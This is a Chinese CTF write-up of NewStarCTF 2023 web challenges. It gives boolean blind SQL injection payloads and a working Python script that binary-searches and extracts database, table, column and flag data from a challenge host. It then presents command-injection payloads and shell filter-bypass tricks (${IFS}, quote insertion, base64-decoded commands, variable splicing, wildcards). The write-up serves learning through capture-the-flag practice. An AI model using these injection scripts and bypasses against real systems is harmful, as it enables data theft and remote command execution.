CTF做题记录
2025-02-22 23:46:56 # CTF

[NewStarCTF 2023] web week3 midsql_sql

通过布尔判断存在sql注入。

数据库名为:ctfleft('abcde',3)='abc'从字符串的左边开始截取3个字符。

经过测试发现,无法进行union注入,select等敏感函数被过滤,可通过大小写绕过。

关键函数group_concat(table_name),将分组中的值连接组合,即这里将表名连接组合。通过此函数得到表名、列名。

利用到的payload如下

1
2
3
4
5
6
' && 1-- -
' && 0-- -
' && if((length(database())=3),1,0)-- -
' && left(database(),3)='ctf'-- -
' && if(Ascii(Substr((Select Group_concat(table_name) From infOrmation_schema.tables Where Table_schema='ctf'),1,1))=t,1,0)-- -
' && if(Ascii(Substr((Select Group_concat(column_name) From infOrmation_schema.columns Where Table_name='here_is_flag'),1,1))=t,1,0)-- -

通过上述的获取表名和列名的sql语句,通过字符的ASCIIt比较大小,可以利用二分法快速输出数据库名、表名、列名等信息。

个人感觉比较好用的poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
import requests
import string

host = "http://8bbb955c-7d10-474e-8234-4da0fb1ae4d9.node5.buuoj.cn:81/?id=TMP0919"

def DBname():
global host
flag=''
for i in range(1,1000):
low = 32
high = 128
mid = (low+high)//2
while low < high:
#--库名
payload = "' %26%26 if(Ascii(Substr(database(),{i},1))>{mid},1,0)-- -".format(i=i, mid=mid)
res = requests.get(host + payload)

#根据数据包的特征判断
if 'Physics' in res.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32 or mid == 127:
break

flag += chr(mid)
i += 1
print("数据库名为:"+flag)

def TBname():
global host
flag=''
for i in range(1,1000):
low = 32
high = 128
mid = (low+high)//2
while low < high:
#--表名
payload = "' %26%26 if(Ascii(Substr((Select Group_concat(table_name) From infOrmation_schema.tables Where Table_schema='ctf'),{i},1))>{mid},1,0)-- -".format(i=i, mid=mid)
res = requests.get(host + payload)

if 'Physics' in res.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32 or mid == 127:
break

flag += chr(mid)
i += 1
print("数据表名为:"+flag)

def CLname():
global host
flag=''
for i in range(1,1000):
low = 32
high = 128
mid = (low+high)//2
while low < high:
#--列名
payload = "' %26%26 if(Ascii(Substr((Select Group_concat(column_name) From infOrmation_schema.columns Where Table_name='here_is_flag'),{i},1))>{mid},1,0)-- -".format(i=i, mid=mid)
res = requests.get(host + payload)

if 'Physics' in res.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32 or mid == 127:
break

flag += chr(mid)
i += 1
print("数据列名为:"+flag)

def Valname():
global host
flag=''
for i in range(1,1000):
low = 32
high = 128
mid = (low+high)//2
while low < high:
#--报数据
payload = "' %26%26 if(Ascii(Substr((Select Group_concat(flag) From here_is_flag),{i},1))>{mid},1,0)-- -".format(i=i, mid=mid)
res = requests.get(host + payload)

if 'Physics' in res.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32 or mid == 127:
break

flag += chr(mid)
i += 1
print("数据为:"+flag)

DBname()
TBname()
CLname()
Valname()

可得到flag

参考

[NewStarCTF 公开赛赛道]So Baby RCE

题目如下:

发现代码中没有过滤ls

当前目录下什么东西,尝试跨目录读取文件,cd 未过滤,&未过滤,cat被过滤,通过添加特殊字符绕过ca$@t。记住$@特殊字符的使用,很多情况下可以绕过。

Payload如下:

1
cd%09..%26%26cd%09..%26%26cd%09..%26%26ls%26%26ca$@t%09ffff$@llllaaaaggggg

空格代替

命令执行中空格被过滤。

1
2
3
4
<
${IFS}
$IFS$9
%09

$IFS在linux下表示分隔符,只有cat$IFSa.txt的时候,bash解析器会把整个IFSa当作变量名,所以导致没有办法运行,然而如果加上{}就固定了变量名,同理在后面加个$可以起到截断的作用。

$9指的是当前系统shell进程的第九个参数的持有者,若没有9个参数,则为空,因此$9相当于没有加东西,等于做了一个前后隔离。

不仅仅局限于$9,$加一个一位数字均可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/bin/bash

echo "参数1:" $1
echo "参数2:" $2
echo "参数3:" $3
echo "参数4:" $4
echo "参数5:" $5
echo "参数6:" $6
echo "参数7:" $7
echo "参数8:" $8
echo "参数9:" $9
echo "参数10:" $10

#测试 ./test.sh a b c d c d e f g h

结果:

$8、$9因为没有传递参数,返回的结果为空。

$10被解析成了$1和0,所以结果会是a0,若想获取第10个变量使用${10}

读取内容

列出目录

1
tee #ls -l| tee 1.txt

tee命令通常的用法是将一个命令的输出保存到文件中,同时在终端上显示输出内容。

读取文件

cat被禁用,使用下列命令

1
2
3
4
5
6
7
8
9
cat   # 由第一行开始显示内容,并将所有内容输出
tac # 从最后一行倒序显示内容,并将所有内容输出
more # 根据窗口大小,一页一页的现实文件内容
less # 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head # 只显示头几行
tail # 只显示最后几行
nl # 类似于cat -n,显示时输出行号
tailf # 类似于tail -f
sort # 读文件

加特殊字符绕过

cat被禁用。

1
2
3
4
ca\t fl\ag.txt
ca$@t fl$@ag.txt
c'a't flag.txt
c"a"t flag.txt

编码绕过

1
`echo 'Y2F0Cg==' | base64 -d`  flag.txt #cat 

拼接绕过

1
a=c;b=at;c=f;d=lag;e=.txt;$a$b $c$d$e

通配符绕过

[…]表示匹配方括号之中的任意一个字符

{…}表示匹配大括号里面的所有模式

上述二则的区别,当匹配的文件不存在时,[…]会失去模式的功能,变成一个单纯的字符串,而{…}依然可以展开。

1
2
3
4
cat f?ag.txt
cat fl*
cat f[a-z]ag.txt
cat fl{a,b,c,d,e}g.txt